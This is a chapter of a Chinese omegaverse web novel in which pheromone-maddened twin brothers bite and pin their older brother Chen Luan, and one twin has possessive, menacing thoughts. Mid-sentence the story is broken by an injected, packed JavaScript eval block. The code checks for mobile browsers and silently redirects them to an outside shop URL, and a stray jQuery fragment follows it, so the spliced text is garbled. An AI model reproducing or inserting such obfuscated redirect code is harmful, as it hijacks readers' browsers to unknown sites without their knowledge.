老实讲,被人咬住后脖颈的感觉很奇怪,甚至有那么一些微妙。
面对江翎狗啃一样毫无章法的乱咬,后颈处传来的温热的刺痛感让陈乱寒毛都要竖起来了。
陈乱下意识地就抬起手肘用巧劲儿掀翻了江翎,一脚把人踹到地毯上,再把自己的另一半胳膊从江浔手里硬抽出来,抬手按亮了床头的开关。
“啪”地一声轻响。
房间里灯光乍亮。
连陈乱本人都被骤然亮起来的顶灯闪了一下,不得不将手掌遮在眉骨上,半眯起了眼睛。
地上的江翎脸上还带着被突然踹翻在地的茫然,耳后烧红着从腺体处蔓延出来的热潮。
面前的画面都带着凌乱的重影在乱晃,不远处是陈乱踩在深灰色的柔软地毯上白皙得发光的脚踝和小腿。
耳间全是自己沉重的喘息声,混杂着信息素反扑带来的尖锐耳鸣。
刚刚……
他做什么了?
江翎用力地甩了甩脑袋,抬手捂着一波接着一波跳痛着的后颈。
支离破碎的不连贯画面在他眼前一帧一帧闪过去。
半夜他跟江浔一起被暴动的信息素冲击得醒了过来,几乎已经半失去意识的他循着本能,地去寻找之前那个会让他感到些许安心的味道。
然后呢?
他找到了那个味道的来源,但是还远远不够。
他找不到……
像是行走在沙漠中极度焦渴的旅人,有一把炽烈的火灼烧着他,催促着他。
而他找不到一滴水。
他要急疯了。
那把火要把他的理智、他的思维、他的感知全部焚烧成飞灰。
脑海里仅剩下一个疯狂的想法呼啸成成一道黑色的龙卷风:
标记他……
标记他。
标记他!
标记……谁?
在一片茫然的恍惚之中,他看到那双白得发光的小腿出现在他面前。
潮热的下颌被两只微凉的手指抬起来,江翎看到了一双剔透的琉璃灰色的眼睛。
那双眼睛半垂着,还带着刚睡醒的慵懒。
眼睛的主人看向他,手指摁着江翎的嘴角轻轻挑起来,露出后者有些尖锐的犬牙。
“唷,你还长了虎牙?”提琴一般的声线带着几分调侃钻入他的耳膜,鼓噪着他越来越快的心跳:“怪不得咬人这么疼。嘶——小混蛋下嘴可真够狠的。喂,江翎,你还认
得出我是谁吗?
可是江翎什么都听不清了。
他的眼前只有陈乱一开一合的柔软嘴唇,和吐字的时候偶尔闪现的舌尖。
于是他抬手,捉住了下颌上那只手腕,用力扣住,拉——
面前的热源被拽得重心不稳,朝江翎跌过来。
恍惚间,江翎又闻到了一丝破晓时分森林林深处的薄雾青苔的清新味道,带着湿润的青草香气。
他乱跳的腺体几乎瞬间就被安抚住,脑海里令人烦乱的尖锐嗡鸣声立刻戛然而止,
像夏季黑沉沉的闷热午后骤然下起了一阵清凉的骤雨,又像干枯的沙漠奔涌出一条清澈的溪,带着清爽的风和细雨。
只是下一秒,那味道又瞬间消失得无影无踪。
焦渴万分的旅人舌尖刚刚尝到几滴甘甜的雨露,赐下雨露的云雾就立刻消散了。
这比从来没得到过任何哪怕一滴水源更让旅人抓狂。
江翎觉得自己几乎要产生戒断反应,燎烈的燥要把他仅剩的理智烧尽了。
他用力压制住那片云雾的的挣扎,扣着腕子压在头顶。
他急切地俯身,再度寻找那个味道,感觉自己好像疯了。
再来一口……
就一口……
一口就好——
“砰——
腹部骤然传来一阵闷痛,江翎感觉自己被重重的击倒然后掀翻,天旋地转之间来不及起身,脑袋就被按住后脖颈子压制在了柔软的地毯上。
那道声音贴着他的发顶,凉凉地流进耳廓:
“看清楚了江翎,我是你哥。
陈乱甩了甩被捏得发红的手腕,用膝盖压住发疯的小混蛋,有种想把这小子扔到冰箱里去清醒一下的冲动。
虽然他知道信息素反扑会导致alpha神智不清醒,难以控制情绪,容易做出不理智的事情,但发疯也得分对象的吧?
江翎这小混蛋是半梦半醒的把他当成谁了?
早恋了?
陈乱抽过沙发上的毯子把江翎团吧团吧包成个粽子,丢到了沙发上,打算让他自己冷静一下。
只是还没来得及回头,又被江浔从背后抱住了。
他被拖着摔进了被褥里。
江浔扣着他的手腕,从背后环抱着他。
陈乱僵住了。
不能吧?
你们一个二个都开始发疯就算了还要逮着我一个人薅吗?
我上辈子不是已经拯救世界了吗?
好在江
浔到底没有江翎那个小混蛋那么疯。
他只是用滚烫的脸颊贴着自己背后颈骨处的皮肤没再作出别的什么出格的动作。
“……哥哥。”
陈乱听到江浔虚弱的声音。
“我好难受让我抱一会儿吧哥哥就一会儿。”
那声音断断续续地带着乞求和着凌乱沉重的呼吸声。
“你身上凉凉的抱着你我会舒服很多……”
陈乱:……
还好起码江浔还认得出自己是谁。
比江翎那个完全丧失了理智还认错了人的小混蛋强多了。
哈、哈。
陈乱还不知道江浔此刻也已经处在理智崩溃的边缘快要疯了。
信息素暴动的潮热灼烧着他陈乱身上属于江翎的信息素味道更是在张牙舞爪地挑衅着他。
细细密密地黑暗慢慢织成一道黑色的网在他的躯体里蜿蜒流窜翻涌着想要朝陈乱笼罩过去。
陈乱颈骨下方那颗嫣红的咬痕就在他面前晃。
那里不断散发出江翎的味道。
江浔扣着陈乱的手腕指腹在那条金属表带上摩挲收紧用力到关节都开始微微泛起白色。
掌心的怪物蛇行出来撕咬住陈乱的脉搏试图朝他的心跳里钻。
真是令人不爽的气味……
让人想要
覆盖它、
撕咬它、
嚼碎它、
最后和着骨血咽下它!
他要看见陈乱雾霖霖的眼睛
听见陈乱嘶哑的声音
闻到不见天光的黑暗处猩红的味道。
他会把他困在某一方谁也找不到的黑暗里
把灰色染上水色染上雾痕最后染成靡红。
他要那双漂亮的眼睛看着他
只能看着他。
只是他现在还不能吓到他。
现在还不能吓到他。
江浔闭上眼睛将心头那只蠢蠢欲动的恶鬼强行按下。
恍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505137|174789||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
惚间他又闻到了那种熟悉的、令人安心的静谧味道。
是山林间湿润的雨雾溪流边的青苔密林里摇曳的枝桠。
燥乱的情绪像扑进了一朵清爽的云雾里被安抚下来。
但当他贪婪地想要汲取更多的时候。
那种味道又消失不见了。
仿佛只是他的错觉一样。
但江浔无比清楚地知道那不是错觉。
那是他之前闻到过的
只是
那味道只清清浅浅地闪了一瞬,就隐没了。
江浔感到自己的信息素骤然间漏了一个怎么填也填不满的空洞,空洞里再次蜿蜒出黑暗的枝桠。
……要疯了。
江浔死咬着陈乱后颈的衣领,烧尽理智去克制自己不要现在就去咬向江翎留下的那道疤。
他只是用指尖,感受着陈乱一下又一下跳动的脉搏,听着自己混乱的心跳,
用自己的信息素去覆盖缠绕它、覆盖它、围剿它。
一遍、
一遍
又一遍。
直到那里完完全全被自己的味道取代,再无其他。
似乎是察觉到自己留下的味道被孪生哥哥一点点覆盖清除,本来已经清醒了几分的江翎再次被挑衅得炸了毛,后颈上再次无序地跳痛起来,带着一波又一波的燥热侵染着他。
他胡乱地扯开身上的毯子,眼前的画面交叠重构成支离破碎的光影。
不远处隐约出现了一瞬间又迅速湮灭的令他安心的味道吸引着他。
但同时有一种讨厌的味道也纠缠着、试图占有它。
不许碰他……
不许碰他!
还给我。
还给我!
江翎掀起的信息素狂潮去撕扯陈乱周身属于江浔的味道。
这一举动导致的后果是,被刺激到的江浔脑海里名为理智的弦,
终于不堪重负地崩断了。
在陈乱还在疑惑江翎这小混蛋又要干什么的时候,肩头突然传来了一阵刺痛。
意识到江浔也在咬他的陈乱睁大了眼,下意识的要反抗挣扎,却被江浔扣着手腕更强硬地锁在了怀里。
与此同时,江翎也凑过来了。
场面无法控制地开始陷入混乱。
陈乱在掰着江浔的胳膊挣扎,伸手去扯肩头江浔的头发。
江翎被陈乱踹出去,又爬起来抓着他的脚踝又要往床上爬。
江浔的脚在踩江翎的后背阻挡着他,想撵他走。
江翎的手在扯江浔的腿,要扯他下来。
在陈乱感知不到的地方,双生子的信息素也在一刻不停地互相撕咬争夺。
陈乱被困在中间,眼里渐渐浮现出一种平静的疯感。
哈哈。
彻底乱成一锅粥了。
趁热喝了吧。
趁着两个弟弟互相排斥推拒的空隙,陈乱迅速用手肘撞开背后的江浔,又用膝盖顶翻面前的江翎,翻身起来一手一只将两条被信息素控制了的疯犬摁住,转头去看还在细微闷痛着的肩头。
一个很规整的红色咬痕,犬齿的位置更是洇出了更深重的嫣红。
陈乱扯了扯嘴角。
……该说不愧是双生子,连虎牙的位置都一模一样。
目光在房间里巡视了一圈,没找到什么趁手工具的陈乱最终抬手从床头柜上拿起半杯凉水,兜头浇下。
然后他压着两个弟弟的潮热的后脖颈,俯身:
“清醒了吗?”